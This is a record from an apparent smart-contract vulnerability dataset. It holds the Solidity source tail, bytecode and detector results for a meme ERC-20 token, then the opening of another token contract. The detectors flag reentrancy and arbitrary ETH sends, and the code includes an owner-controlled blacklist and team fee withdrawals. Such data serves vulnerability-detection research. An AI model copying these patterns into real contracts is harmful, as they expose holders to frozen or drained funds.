0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(20);
uint256 tTeam = tAmount.mul(TeamFee).div(20);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600c81526020017f5477696e7320496e752056320000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5457494e53320000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b60016008819055506002600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436014612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d601461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021dc4eded99c6a72227d71c0d28b63438727aad05748c0e3f6324374a925b33564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,443 |
0x3bDcb59142E7f482Ff18cA61D04248D2A878865F
|
/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
/*
t.me/BoredElonApe
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
